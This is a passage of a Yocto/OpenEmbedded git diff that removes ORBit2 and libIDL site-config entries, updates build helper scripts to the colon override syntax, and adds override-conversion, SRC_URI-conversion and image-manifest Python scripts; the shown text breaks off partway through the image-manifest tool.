+++ b/meta/site/mipsisa64r6el-linux
@@ -43,9 +43,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/nios2-linux b/meta/site/nios2-linux
index 8ac198a0cd..656da9fde4 100644
--- a/meta/site/nios2-linux
+++ b/meta/site/nios2-linux
@@ -110,9 +110,6 @@ lftp_cv___va_copy=${lftp_cv___va_copy=yes}
# libesmtp
acx_working_snprintf=${acx_working_snprintf=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
@@ -137,21 +134,6 @@ mysql_cv_func_atomic_add=${mysql_cv_func_atomic_add=no}
ac_cv_regexec_segfault_emptystr=${ac_cv_regexec_segfault_emptystr=no}
nano_cv_func_regexec_segv_emptystr=${nano_cv_func_regexec_segv_emptystr=no}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-ac_cv_func_getaddrinfo=${ac_cv_func_getaddrinfo=yes}
-
# php
ac_cv_pread=${ac_cv_pread=no}
ac_cv_pwrite=${ac_cv_pwrite=no}
diff --git a/meta/site/powerpc32-linux b/meta/site/powerpc32-linux
index 172a06cc46..accd048a6a 100644
--- a/meta/site/powerpc32-linux
+++ b/meta/site/powerpc32-linux
@@ -151,23 +151,6 @@ compat_cv_func_dirname_works=${compat_cv_func_dirname_works=no}
# slrn
slrn_cv_va_val_copy=${slrn_cv_va_val_copy=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# cvs
cvs_cv_func_printf_ptr=${cvs_cv_func_printf_ptr=yes}
diff --git a/meta/site/sh-common b/meta/site/sh-common
index 6bda1c237c..d269a17db9 100644
--- a/meta/site/sh-common
+++ b/meta/site/sh-common
@@ -169,23 +169,6 @@ slrn_cv_va_val_copy=${slrn_cv_va_val_copy=yes}
# startup-notification
lf_cv_sane_realloc=yes
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# cvs
cvs_cv_func_printf_ptr=${cvs_cv_func_printf_ptr=yes}
diff --git a/meta/site/x86_64-linux b/meta/site/x86_64-linux
index 778e2c53ee..ea3176da93 100644
--- a/meta/site/x86_64-linux
+++ b/meta/site/x86_64-linux
@@ -73,26 +73,9 @@ am_cv_func_working_getline=${am_cv_func_working_getline=yes}
#gcc
ac_cv_lib_m_sin=${ac_cv_lib_m_sin=yes}
-#orbit
-libIDL_cv_long_long_format=ll
-
# bash
bash_cv_func_sigsetjmp=${bash_cv_func_sigsetjmp=present}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=8
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-
lf_cv_sane_realloc=yes
as_cv_unaligned_access=${as_cv_unaligned_access=yes}
diff --git a/scripts/autobuilder-worker-prereq-tests b/scripts/autobuilder-worker-prereq-tests
index 5d7e6e2601..82e9a77bd5 100755
--- a/scripts/autobuilder-worker-prereq-tests
+++ b/scripts/autobuilder-worker-prereq-tests
@@ -35,6 +35,11 @@ if [ "$?" != "0" ]; then
echo "Please set git config --global user.email"
exit 1
fi
+python3 -c "import jinja2"
+if [ "$?" != "0" ]; then
+ echo "Please ensure jinja2 is available"
+ exit 1
+fi
bitbake -p
if [ "$?" != "0" ]; then
echo "Bitbake parsing failed"
diff --git a/scripts/bitbake-whatchanged b/scripts/bitbake-whatchanged
index 3095dafa46..6f4b268119 100755
--- a/scripts/bitbake-whatchanged
+++ b/scripts/bitbake-whatchanged
@@ -217,7 +217,7 @@ print what will be done between the current and last builds, for example:
# Edit the recipes
$ bitbake-whatchanged core-image-sato
-The changes will be printed"
+The changes will be printed.
Note:
The amount of tasks is not accurate when the task is "do_build" since
diff --git a/scripts/buildhistory-collect-srcrevs b/scripts/buildhistory-collect-srcrevs
index 340bee78bb..c937e49c2a 100755
--- a/scripts/buildhistory-collect-srcrevs
+++ b/scripts/buildhistory-collect-srcrevs
@@ -53,7 +53,7 @@ def main():
sys.exit(1)
if options.forcevariable:
- forcevariable = '_forcevariable'
+ forcevariable = ':forcevariable'
else:
forcevariable = ''
@@ -99,9 +99,9 @@ def main():
print('# %s' % curdir)
for pn, name, srcrev in srcrevs:
if name:
- print('SRCREV_%s_pn-%s%s = "%s"' % (name, pn, forcevariable, srcrev))
+ print('SRCREV_%s:pn-%s%s = "%s"' % (name, pn, forcevariable, srcrev))
else:
- print('SRCREV_pn-%s%s = "%s"' % (pn, forcevariable, srcrev))
+ print('SRCREV:pn-%s%s = "%s"' % (pn, forcevariable, srcrev))
if __name__ == "__main__":
diff --git a/scripts/combo-layer b/scripts/combo-layer
index a634dd69d2..045de65642 100755
--- a/scripts/combo-layer
+++ b/scripts/combo-layer
@@ -508,7 +508,7 @@ def check_patch(patchfile):
f.close()
if of:
of.close()
- os.rename(patchfile + '.tmp', patchfile)
+ bb.utils.rename(patchfile + '.tmp', patchfile)
def drop_to_shell(workdir=None):
if not sys.stdin.isatty():
diff --git a/scripts/contrib/convert-overrides.py b/scripts/contrib/convert-overrides.py
new file mode 100755
index 0000000000..4d41a4c475
--- /dev/null
+++ b/scripts/contrib/convert-overrides.py
@@ -0,0 +1,144 @@
+#!/usr/bin/env python3
+#
+# Conversion script to add new override syntax to existing bitbake metadata
+#
+# Copyright (C) 2021 Richard Purdie
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+#
+# To use this script on a new layer you need to list the overrides the
+# layer is known to use in the list below.
+#
+# Known constraint: Matching is 'loose' and in particular will find variable
+# and function names with "_append" and "_remove" in them. Those need to be
+# filtered out manually or in the skip list below.
+#
+
+import re
+import os
+import sys
+import tempfile
+import shutil
+import mimetypes
+
+if len(sys.argv) < 2:
+ print("Please specify a directory to run the conversion script against.")
+ sys.exit(1)
+
+# List of strings to treat as overrides
+vars = ["append", "prepend", "remove"]
+vars = vars + ["qemuarm", "qemux86", "qemumips", "qemuppc", "qemuriscv", "qemuall"]
+vars = vars + ["genericx86", "edgerouter", "beaglebone-yocto"]
+vars = vars + ["armeb", "arm", "armv5", "armv6", "armv4", "powerpc64", "aarch64", "riscv32", "riscv64", "x86", "mips64", "powerpc"]
+vars = vars + ["mipsarch", "x86-x32", "mips16e", "microblaze", "e5500-64b", "mipsisa32", "mipsisa64"]
+vars = vars + ["class-native", "class-target", "class-cross-canadian", "class-cross", "class-devupstream"]
+vars = vars + ["tune-", "pn-", "forcevariable"]
+vars = vars + ["libc-musl", "libc-glibc", "libc-newlib","libc-baremetal"]
+vars = vars + ["task-configure", "task-compile", "task-install", "task-clean", "task-image-qa", "task-rm_work", "task-image-complete", "task-populate-sdk"]
+vars = vars + ["toolchain-clang", "mydistro", "nios2", "sdkmingw32", "overrideone", "overridetwo"]
+vars = vars + ["linux-gnux32", "linux-muslx32", "linux-gnun32", "mingw32", "poky", "darwin", "linuxstdbase"]
+vars = vars + ["linux-gnueabi", "eabi"]
+vars = vars + ["virtclass-multilib", "virtclass-mcextend"]
+
+# List of strings to treat as overrides but only with whitespace following or another override (more restricted matching).
+# Handles issues with arc matching arch.
+shortvars = ["arc", "mips", "mipsel", "sh4"]
+
+# Variables which take packagenames as an override
+packagevars = ["FILES", "RDEPENDS", "RRECOMMENDS", "SUMMARY", "DESCRIPTION", "RSUGGESTS", "RPROVIDES", "RCONFLICTS", "PKG", "ALLOW_EMPTY",
+ "pkg_postrm", "pkg_postinst_ontarget", "pkg_postinst", "INITSCRIPT_NAME", "INITSCRIPT_PARAMS", "DEBIAN_NOAUTONAME", "ALTERNATIVE",
+ "PKGE", "PKGV", "PKGR", "USERADD_PARAM", "GROUPADD_PARAM", "CONFFILES", "SYSTEMD_SERVICE", "LICENSE", "SECTION", "pkg_preinst",
+ "pkg_prerm", "RREPLACES", "GROUPMEMS_PARAM", "SYSTEMD_AUTO_ENABLE", "SKIP_FILEDEPS", "PRIVATE_LIBS", "PACKAGE_ADD_METADATA",
+ "INSANE_SKIP", "DEBIANNAME", "SYSTEMD_SERVICE_ESCAPED"]
+
+# Expressions to skip if encountered, these are not overrides
+skips = ["parser_append", "recipe_to_append", "extra_append", "to_remove", "show_appends", "applied_appends", "file_appends", "handle_remove"]
+skips = skips + ["expanded_removes", "color_remove", "test_remove", "empty_remove", "toaster_prepend", "num_removed", "licfiles_append", "_write_append"]
+skips = skips + ["no_report_remove", "test_prepend", "test_append", "multiple_append", "test_remove", "shallow_remove", "do_remove_layer", "first_append"]
+skips = skips + ["parser_remove", "to_append", "no_remove", "bblayers_add_remove", "bblayers_remove", "apply_append", "is_x86", "base_dep_prepend"]
+skips = skips + ["autotools_dep_prepend", "go_map_arm", "alt_remove_links", "systemd_append_file", "file_append", "process_file_darwin"]
+skips = skips + ["run_loaddata_poky", "determine_if_poky_env", "do_populate_poky_src", "libc_cv_include_x86_isa_level", "test_rpm_remove", "do_install_armmultilib"]
+skips = skips + ["get_appends_for_files", "test_doubleref_remove", "test_bitbakelayers_add_remove", "elf32_x86_64", "colour_remove", "revmap_remove"]
+skips = skips + ["test_rpm_remove", "test_bitbakelayers_add_remove", "recipe_append_file", "log_data_removed", "recipe_append", "systemd_machine_unit_append"]
+skips = skips + ["recipetool_append", "changetype_remove", "try_appendfile_wc", "test_qemux86_directdisk", "test_layer_appends", "tgz_removed"]
+
+imagevars = ["IMAGE_CMD", "EXTRA_IMAGECMD", "IMAGE_TYPEDEP", "CONVERSION_CMD", "COMPRESS_CMD"]
+packagevars = packagevars + imagevars
+
+vars_re = {}
+for exp in vars:
+ vars_re[exp] = (re.compile('((^|[#\'"\s\-\+])[A-Za-z0-9_\-:${}\.]+)_' + exp), r"\1:" + exp)
+
+shortvars_re = {}
+for exp in shortvars:
+ shortvars_re[exp] = (re.compile('((^|[#\'"\s\-\+])[A-Za-z0-9_\-:${}\.]+)_' + exp + '([\(\'"\s:])'), r"\1:" + exp + r"\3")
+
+package_re = {}
+for exp in packagevars:
+ package_re[exp] = (re.compile('(^|[#\'"\s\-\+]+)' + exp + '_' + '([$a-z"\'\s%\[<{\\\*].)'), r"\1" + exp + r":\2")
+
+# Other substitutions to make
+subs = {
+ 'r = re.compile("([^:]+):\s*(.*)")' : 'r = re.compile("(^.+?):\s+(.*)")',
+ "val = d.getVar('%s_%s' % (var, pkg))" : "val = d.getVar('%s:%s' % (var, pkg))",
+ "f.write('%s_%s: %s\\n' % (var, pkg, encode(val)))" : "f.write('%s:%s: %s\\n' % (var, pkg, encode(val)))",
+ "d.getVar('%s_%s' % (scriptlet_name, pkg))" : "d.getVar('%s:%s' % (scriptlet_name, pkg))",
+ 'ret.append(v + "_" + p)' : 'ret.append(v + ":" + p)',
+}
+
+def processfile(fn):
+ print("processing file '%s'" % fn)
+ try:
+ fh, abs_path = tempfile.mkstemp()
+ with os.fdopen(fh, 'w') as new_file:
+ with open(fn, "r") as old_file:
+ for line in old_file:
+ skip = False
+ for s in skips:
+ if s in line:
+ skip = True
+ if "ptest_append" in line or "ptest_remove" in line or "ptest_prepend" in line:
+ skip = False
+ for sub in subs:
+ if sub in line:
+ line = line.replace(sub, subs[sub])
+ skip = True
+ if not skip:
+ for pvar in packagevars:
+ line = package_re[pvar][0].sub(package_re[pvar][1], line)
+ for var in vars:
+ line = vars_re[var][0].sub(vars_re[var][1], line)
+ for shortvar in shortvars:
+ line = shortvars_re[shortvar][0].sub(shortvars_re[shortvar][1], line)
+ if "pkg_postinst:ontarget" in line:
+ line = line.replace("pkg_postinst:ontarget", "pkg_postinst_ontarget")
+ new_file.write(line)
+ shutil.copymode(fn, abs_path)
+ os.remove(fn)
+ shutil.move(abs_path, fn)
+ except UnicodeDecodeError:
+ pass
+
+ourname = os.path.basename(sys.argv[0])
+ourversion = "0.9.3"
+
+if os.path.isfile(sys.argv[1]):
+ processfile(sys.argv[1])
+ sys.exit(0)
+
+for targetdir in sys.argv[1:]:
+ print("processing directory '%s'" % targetdir)
+ for root, dirs, files in os.walk(targetdir):
+ for name in files:
+ if name == ourname:
+ continue
+ fn = os.path.join(root, name)
+ if os.path.islink(fn):
+ continue
+ if "/.git/" in fn or fn.endswith(".html") or fn.endswith(".patch") or fn.endswith(".m4") or fn.endswith(".diff"):
+ continue
+ processfile(fn)
+
+print("All files processed with version %s" % ourversion)
diff --git a/scripts/contrib/convert-srcuri.py b/scripts/contrib/convert-srcuri.py
new file mode 100755
index 0000000000..587392334f
--- /dev/null
+++ b/scripts/contrib/convert-srcuri.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python3
+#
+# Conversion script to update SRC_URI to add branch to git urls
+#
+# Copyright (C) 2021 Richard Purdie
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import os
+import sys
+import tempfile
+import shutil
+import mimetypes
+
+if len(sys.argv) < 2:
+ print("Please specify a directory to run the conversion script against.")
+ sys.exit(1)
+
+def processfile(fn):
+ def matchline(line):
+ if "MIRROR" in line or ".*" in line or "GNOME_GIT" in line:
+ return False
+ return True
+ print("processing file '%s'" % fn)
+ try:
+ if "distro_alias.inc" in fn or "linux-yocto-custom.bb" in fn:
+ return
+ fh, abs_path = tempfile.mkstemp()
+ modified = False
+ with os.fdopen(fh, 'w') as new_file:
+ with open(fn, "r") as old_file:
+ for line in old_file:
+ if ("git://" in line or "gitsm://" in line) and "branch=" not in line and matchline(line):
+ if line.endswith('"\n'):
+ line = line.replace('"\n', ';branch=master"\n')
+ elif re.search('\s*\\\\$', line):
+ line = re.sub('\s*\\\\$', ';branch=master \\\\', line)
+ modified = True
+ if ("git://" in line or "gitsm://" in line) and "github.com" in line and "protocol=https" not in line and matchline(line):
+ if "protocol=git" in line:
+ line = line.replace('protocol=git', 'protocol=https')
+ elif line.endswith('"\n'):
+ line = line.replace('"\n', ';protocol=https"\n')
+ elif re.search('\s*\\\\$', line):
+ line = re.sub('\s*\\\\$', ';protocol=https \\\\', line)
+ modified = True
+ new_file.write(line)
+ if modified:
+ shutil.copymode(fn, abs_path)
+ os.remove(fn)
+ shutil.move(abs_path, fn)
+ except UnicodeDecodeError:
+ pass
+
+ourname = os.path.basename(sys.argv[0])
+ourversion = "0.1"
+
+if os.path.isfile(sys.argv[1]):
+ processfile(sys.argv[1])
+ sys.exit(0)
+
+for targetdir in sys.argv[1:]:
+ print("processing directory '%s'" % targetdir)
+ for root, dirs, files in os.walk(targetdir):
+ for name in files:
+ if name == ourname:
+ continue
+ fn = os.path.join(root, name)
+ if os.path.islink(fn):
+ continue
+ if "/.git/" in fn or fn.endswith(".html") or fn.endswith(".patch") or fn.endswith(".m4") or fn.endswith(".diff"):
+ continue
+ processfile(fn)
+
+print("All files processed with version %s" % ourversion)
diff --git a/scripts/contrib/documentation-audit.sh b/scripts/contrib/documentation-audit.sh
index 1191f57a8e..f436f9bae0 100755
--- a/scripts/contrib/documentation-audit.sh
+++ b/scripts/contrib/documentation-audit.sh
@@ -27,7 +27,7 @@ fi
echo "REMINDER: you need to build for MACHINE=qemux86 or you won't get useful results"
echo "REMINDER: you need to set LICENSE_FLAGS_WHITELIST appropriately in local.conf or "
-echo " you'll get false positives. For example, LICENSE_FLAGS_WHITELIST = \"Commercial\""
+echo " you'll get false positives. For example, LICENSE_FLAGS_WHITELIST = \"commercial\""
for pkg in `bitbake -s | awk '{ print \$1 }'`; do
if [[ "$pkg" == "Loading" || "$pkg" == "Loaded" ||
diff --git a/scripts/contrib/image-manifest b/scripts/contrib/image-manifest
new file mode 100755
index 0000000000..3c07a73a4e
--- /dev/null
+++ b/scripts/contrib/image-manifest
@@ -0,0 +1,523 @@
+#!/usr/bin/env python3
+
+# Script to extract information from image manifests
+#
+# Copyright (C) 2018 Intel Corporation
+# Copyright (C) 2021 Wind River Systems, Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import sys
+import os
+import argparse
+import logging
+import json
+import shutil
+import tempfile
+import tarfile
+from collections import OrderedDict
+
+scripts_path = os.path.dirname(__file__)
+lib_path = scripts_path + '/../lib'
+sys.path = sys.path + [lib_path]
+
+import scriptutils
+logger = scriptutils.logger_create(os.path.basename(__file__))
+
+import argparse_oe
+import scriptpath
+bitbakepath = scriptpath.add_bitbake_lib_path()
+if not bitbakepath:
+ logger.error("Unable to find bitbake by searching parent directory of this script or PATH")
+ sys.exit(1)
+logger.debug('Using standard bitbake path %s' % bitbakepath)
+scriptpath.add_oe_lib_path()
+
+import bb.tinfoil
+import bb.utils
+import oe.utils
+import oe.recipeutils
+
+def get_pkg_list(manifest):
+ pkglist = []
+ with open(manifest, 'r') as f:
+ for line in f:
+ linesplit = line.split()
+ if len(linesplit) == 3:
+ # manifest file
+ pkglist.append(linesplit[0])
+ elif len(linesplit) == 1:
+ # build dependency file
+ pkglist.append(linesplit[0])
+ return sorted(pkglist)
+
+def list_packages(args):
+ pkglist = get_pkg_list(args.manifest)
+ for pkg in pkglist:
+ print('%s' % pkg)
+
+def pkg2recipe(tinfoil, pkg):
+ if "-native" in pkg:
+ logger.info('skipping %s' % pkg)
+ return None
+
+ pkgdata_dir = tinfoil.config_data.getVar('PKGDATA_DIR')
+ pkgdatafile = os.path.join(pkgdata_dir, 'runtime-reverse', pkg)
+ logger.debug('pkgdatafile %s' % pkgdatafile)
+ try:
+ f = open(pkgdatafile, 'r')
+ for line in f:
+ if line.startswith('PN:'):
+ recipe = line.split(':', 1)[1].strip()
+ return recipe
+ except Exception:
+ logger.warning('%s is missing' % pkgdatafile)
+ return None
+
+def get_recipe_list(manifest, tinfoil):
+ pkglist = get_pkg_list(manifest)
+ recipelist = []
+ for pkg in pkglist:
+ recipe = pkg2recipe(tinfoil,pkg)
+ if recipe:
+ if not recipe in recipelist:
+ recipelist.append(recipe)
+
+ return sorted(recipelist)
+
+def list_recipes(args):
+ import bb.tinfoil
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare(config_only=True)
+ recipelist = get_recipe_list(args.manifest, tinfoil)
+ for recipe in sorted(recipelist):
+ print('%s' % recipe)
+
+def list_layers(args):
+
+ def find_git_repo(pth):
+ checkpth = pth
+ while checkpth != os.sep:
+ if os.path.exists(os.path.join(checkpth, '.git')):
+ return checkpth
+ checkpth = os.path.dirname(checkpth)
+ return None
+
+ def get_git_remote_branch(repodir):
+ try:
+ stdout, _ = bb.process.run(['git', 'rev-parse', '--abbrev-ref', '--symbolic-full-name', '@{u}'], cwd=repodir)
+ except bb.process.ExecutionError as e:
+ stdout = None
+ if stdout:
+ return stdout.strip()
+ else:
+ return None
+
+ def get_git_head_commit(repodir):
+ try:
+ stdout, _ = bb.process.run(['git', 'rev-parse', 'HEAD'], cwd=repodir)
+ except bb.process.ExecutionError as e:
+ stdout = None
+ if stdout:
+ return stdout.strip()
+ else:
+ return None
+
+ def get_git_repo_url(repodir, remote='origin'):
+ import bb.process
+ # Try to get upstream repo location from origin remote
+ try:
+ stdout, _ = bb.process.run(['git', 'remote', '-v'], cwd=repodir)
+ except bb.process.ExecutionError as e:
+ stdout = None
+ if stdout:
+ for line in stdout.splitlines():
+ splitline = line.split()
+ if len(splitline) > 1:
+ if splitline[0] == remote and scriptutils.is_src_url(splitline[1]):
+ return splitline[1]
+ return None
+
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare(config_only=False)
+ layers = OrderedDict()
+ for layerdir in tinfoil.config_data.getVar('BBLAYERS').split():
+ layerdata = OrderedDict()
+ layername = os.path.basename(layerdir)
+ logger.debug('layername %s, layerdir %s' % (layername, layerdir))
+ if layername in layers:
+ logger.warning('layername %s is not unique in configuration' % layername)
+ layername = os.path.basename(os.path.dirname(layerdir)) + '_' + os.path.basename(layerdir)
+ logger.debug('trying layername %s' % layername)
+ if layername in layers:
+ logger.error('Layer name %s is not unique in configuration' % layername)
+ sys.exit(2)
+ repodir = find_git_repo(layerdir)
+ if repodir:
+ remotebranch = get_git_remote_branch(repodir)
+ remote = 'origin'
+ if remotebranch and '/' in remotebranch:
+ rbsplit = remotebranch.split('/', 1)
+ layerdata['actual_branch'] = rbsplit[1]
+ remote = rbsplit[0]
+ layerdata['vcs_url'] = get_git_repo_url(repodir, remote)
+ if os.path.abspath(repodir) != os.path.abspath(layerdir):
+ layerdata['vcs_subdir'] = os.path.relpath(layerdir, repodir)
+ commit = get_git_head_commit(repodir)
+ if commit:
+ layerdata['vcs_commit'] = commit
+ layers[layername] = layerdata
+
+ json.dump(layers, args.output, indent=2)
+
+def get_recipe(args):
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare(config_only=True)
+
+ recipe = pkg2recipe(tinfoil, args.package)
+ print(' %s package provided by %s' % (args.package, recipe))
+
+def pkg_dependencies(args):
+ def get_recipe_info(tinfoil, recipe):
+ try:
+ info = tinfoil.get_recipe_info(recipe)
+ except Exception:
+ logger.error('Failed to get recipe info for: %s' % recipe)
+ sys.exit(1)
+ if not info:
+ logger.warning('No recipe info found for: %s' % recipe)
+ sys.exit(1)
+ append_files = tinfoil.get_file_appends(info.fn)
+ appends = True
+ data = tinfoil.parse_recipe_file(info.fn, appends, append_files)
+ data.pn = info.pn
+ data.pv = info.pv
+ return data
+
+ def find_dependencies(tinfoil, assume_provided, recipe_info, packages, rn, order):
+ spaces = ' ' * order
+ data = recipe_info[rn]
+ if args.native:
+ logger.debug('%s- %s' % (spaces, data.pn))
+ elif "-native" not in data.pn:
+ if "cross" not in data.pn:
+ logger.debug('%s- %s' % (spaces, data.pn))
+
+ depends = []
+ for dep in data.depends:
+ if dep not in assume_provided:
+ depends.append(dep)
+
+ # First find all dependencies not in package list.
+ for dep in depends:
+ if dep not in packages:
+ packages.append(dep)
+ dep_data = get_recipe_info(tinfoil, dep)
+ # Do this once now to reduce the number of bitbake calls.
+ dep_data.depends = dep_data.getVar('DEPENDS').split()
+ recipe_info[dep] = dep_data
+
+ # Then recursively analyze all of the dependencies for the current recipe.
+ for dep in depends:
+ find_dependencies(tinfoil, assume_provided, recipe_info, packages, dep, order + 1)
+
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare()
+
+ assume_provided = tinfoil.config_data.getVar('ASSUME_PROVIDED').split()
+ logger.debug('assumed provided:')
+ for ap in sorted(assume_provided):
+ logger.debug(' - %s' % ap)
+
+ recipe = pkg2recipe(tinfoil, args.package)
+ data = get_recipe_info(tinfoil, recipe)
+ data.depends = []
+ depends = data.getVar('DEPENDS').split()
+ for dep in depends:
+ if dep not in assume_provided:
+ data.depends.append(dep)
+
+ recipe_info = dict([(recipe, data)])
+ packages = []
+ find_dependencies(tinfoil, assume_provided, recipe_info, packages, recipe, order=1)
+
+ print('\nThe following packages are required to build %s' % recipe)
+ for p in sorted(packages):
+ data = recipe_info[p]
+ if "-native" not in data.pn:
+ if "cross" not in data.pn:
+ print(" %s (%s)" % (data.pn,p))
+
+ if args.native:
+ print('\nThe following native packages are required to build %s' % recipe)
+ for p in sorted(packages):
+ data = recipe_info[p]
+ if "-native" in data.pn:
+ print(" %s(%s)" % (data.pn,p))
+ if "cross" in data.pn:
+ print(" %s(%s)" % (data.pn,p))
+
+def default_config():
+ vlist = OrderedDict()
+ vlist['PV'] = 'yes'
+ vlist['SUMMARY'] = 'no'
+ vlist['DESCRIPTION'] = 'no'
+ vlist['SECTION'] = 'no'
+ vlist['LICENSE'] = 'yes'
+ vlist['HOMEPAGE'] = 'no'
+ vlist['BUGTRACKER'] = 'no'
+ vlist['PROVIDES'] = 'no'
+ vlist['BBCLASSEXTEND'] = 'no'
+ vlist['DEPENDS'] = 'no'
+ vlist['PACKAGECONFIG'] = 'no'
+ vlist['SRC_URI'] = 'yes'
+ vlist['SRCREV'] = 'yes'
+ vlist['EXTRA_OECONF'] = 'no'
+ vlist['EXTRA_OESCONS'] = 'no'
+ vlist['EXTRA_OECMAKE'] = 'no'
+ vlist['EXTRA_OEMESON'] = 'no'
+
+ clist = OrderedDict()
+ clist['variables'] = vlist
+ clist['filepath'] = 'no'
+ clist['sha256sum'] = 'no'
+ clist['layerdir'] = 'no'
+ clist['layer'] = 'no'
+ clist['inherits'] = 'no'
+ clist['source_urls'] = 'no'
+ clist['packageconfig_opts'] = 'no'
+ clist['patches'] = 'no'
+ clist['packagedir'] = 'no'
+ return clist
+
+def dump_config(args):
+ config = default_config()
+ f = open('default_config.json', 'w')
+ json.dump(config, f, indent=2)
+ logger.info('Default config list dumped to default_config.json')
+
+def export_manifest_info(args):
+
+ def handle_value(value):
+ if value:
+ return oe.utils.squashspaces(value)
+ else:
+ return value
+
+ if args.config:
+ logger.debug('config: %s' % args.config)
+ f = open(args.config, 'r')
+ config = json.load(f, object_pairs_hook=OrderedDict)
+ else:
+ config = default_config()
+ if logger.isEnabledFor(logging.DEBUG):
+ print('Configuration:')
+ json.dump(config, sys.stdout, indent=2)
+ print('')
+
+ tmpoutdir = tempfile.mkdtemp(prefix=os.path.basename(__file__)+'-')
+ logger.debug('tmp dir: %s' % tmpoutdir)
+
+ # export manifest
+ shutil.copy2(args.manifest,os.path.join(tmpoutdir, "manifest"))
+
+ with bb.tinfoil.Tinfoil(tracking=True) as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare(config_only=False)
+
+ pkglist = get_pkg_list(args.manifest)
+ # export pkg list
+ f = open(os.path.join(tmpoutdir, "pkgs"), 'w')
+ for pkg in pkglist:
+ f.write('%s\n' % pkg)
+ f.close()
+
+ recipelist = []
+ for pkg in pkglist:
+ recipe = pkg2recipe(tinfoil,pkg)
+ if recipe:
+ if not recipe in recipelist:
+ recipelist.append(recipe)
+ recipelist.sort()
+ # export recipe list
+ f = open(os.path.join(tmpoutdir, "recipes"), 'w')
+ for recipe in recipelist:
+ f.write('%s\n' % recipe)
+ f.close()
+
+ try:
+ rvalues = OrderedDict()
+ for pn in sorted(recipelist):
+ logger.debug('Package: %s' % pn)
+ rd = tinfoil.parse_recipe(pn)
+
+ rvalues[pn] = OrderedDict()
+
+ for varname in config['variables']:
+ if config['variables'][varname] == 'yes':
+ rvalues[pn][varname] = handle_value(rd.getVar(varname))
+
+ fpth = rd.getVar('FILE')
+ layerdir = oe.recipeutils.find_layerdir(fpth)
+ if config['filepath'] == 'yes':
+ rvalues[pn]['filepath'] = os.path.relpath(fpth, layerdir)
+ if config['sha256sum'] == 'yes':
+ rvalues[pn]['sha256sum'] = bb.utils.sha256_file(fpth)
+
+ if config['layerdir'] == 'yes':
+ rvalues[pn]['layerdir'] = layerdir
+
+ if config['layer'] == 'yes':
+ rvalues[pn]['layer'] = os.path.basename(layerdir)
+
+ if config['inherits'] == 'yes':
+ gr = set(tinfoil.config_data.getVar("__inherit_cache") or [])
+ lr = set(rd.getVar("__inherit_cache") or [])
+ rvalues[pn]['inherits'] = sorted({os.path.splitext(os.path.basename(r))[0] for r in lr if r not in gr})
+
+ if config['source_urls'] == 'yes':
+ rvalues[pn]['source_urls'] = []
+ for url in (rd.getVar('SRC_URI') or '').split():
+ if not url.startswith('file://'):
+ url = url.split(';')[0]
+ rvalues[pn]['source_urls'].append(url)
+
+ if config['packageconfig_opts'] == 'yes':
+ rvalues[pn]['packageconfig_opts'] = OrderedDict()
+ for key in rd.getVarFlags('PACKAGECONFIG').keys():
+ if key == 'doc':
+ continue
